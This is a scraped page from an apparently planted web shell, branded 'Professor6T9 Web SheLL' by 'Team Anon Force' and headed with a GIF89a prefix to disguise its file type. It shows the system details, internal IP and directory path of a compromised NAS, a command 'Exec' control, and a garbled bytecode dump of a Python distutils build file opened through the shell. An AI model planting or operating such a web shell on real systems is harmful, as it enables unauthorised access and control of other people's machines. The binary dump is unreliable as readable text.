GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
_distutils
/
command
/
__pycache__
[ HOME ]
Exec
Submit
File Name : build.cpython-38.pyc
U �}�ha � @ s\ d Z ddlZddlZddlZddlmZ ddlmZ ddlm Z dd� Z G d d � d e�ZdS )zBdistutils.command.build Implements the Distutils 'build' command.� N� )�Command)�DistutilsOptionError)�get_platformc C s ddl m} | � d S )Nr ��show_compilers)Z ccompilerr r � r �J/tmp/pip-target-k_nuic9h/lib/python/setuptools/_distutils/command/build.pyr s r c @ s� e Zd ZdZdddddddd d e� � d�fdd dddgZddgZdddefgZdd� Z dd� Z dd� Zdd� Zdd� Z d d!� Zd"d#� Zd$efd%e fd&efd'efgZdS )(�buildz"build everything needed to install)zbuild-base=�bz base directory for build library)zbuild-purelib=Nz2build directory for platform-neutral distributions)zbuild-platlib=Nz3build directory for platform-specific distributions)z build-lib=NzWbuild directory for all distribution (defaults to either build-purelib or build-platlib)zbuild-scripts=Nzbuild directory for scripts)zbuild-temp=�tztemporary build directoryz plat-name=�pz3platform name to build for, if supported [default: �])z compiler=�czspecify the compiler type)z parallel=�jznumber of parallel build jobs)�debug�gz;compile extensions and libraries with debugging information)�force�fz2forcibly build everything (ignore file timestamps))zexecutable=�ez5specify final destination interpreter path (build.py)r r z help-compilerNzlist available compilersc C sL d| _ d | _d | _d | _d | _d | _d | _d | _d | _d| _ d | _ d | _d S )Nr F)� build_base� build_purelib� build_platlib� build_lib� build_temp� build_scripts�compiler� plat_namer r � executable�parallel��selfr r r �initialize_options4 s zbuild.initialize_optionsc C st | j d krt� | _ ntjdkr&td��d| j � dtjj� �}t� d�rN|d7 }t td�r`|d7 }| jd kr|tj� | jd �| _| jd kr�tj� | jd | �| _| jd kr�| j�� r�| j| _n| j| _| jd kr�tj� | jd | �| _| jd k�rtj� | jdtjd d� �| _| jd k�r2tj�r2tj�tj�| _t| jt��rpzt| j�| _W n tk �rn td ��Y nX d S )N�ntzW--plat-name only supported on Windows (try using './configure --help' on your platform)�.�-�Py_GIL_DISABLEDr �gettotalrefcountz-pydebug�lib�tempz scripts-%d.%dr zparallel should be an integer)r r �os�namer �sys�implementation� cache_tag� sysconfig�get_config_var�hasattrr �path�joinr r r �distribution�has_ext_modulesr r �version_infor �normpath� isinstancer �str�int� ValueError)r! �plat_specifierr r r �finalize_optionsD sB � �zbuild.finalize_optionsc C s | � � D ]}| �|� qd S �N)�get_sub_commands�run_command)r! �cmd_namer r r �run� s z build.runc C s | j �� S r>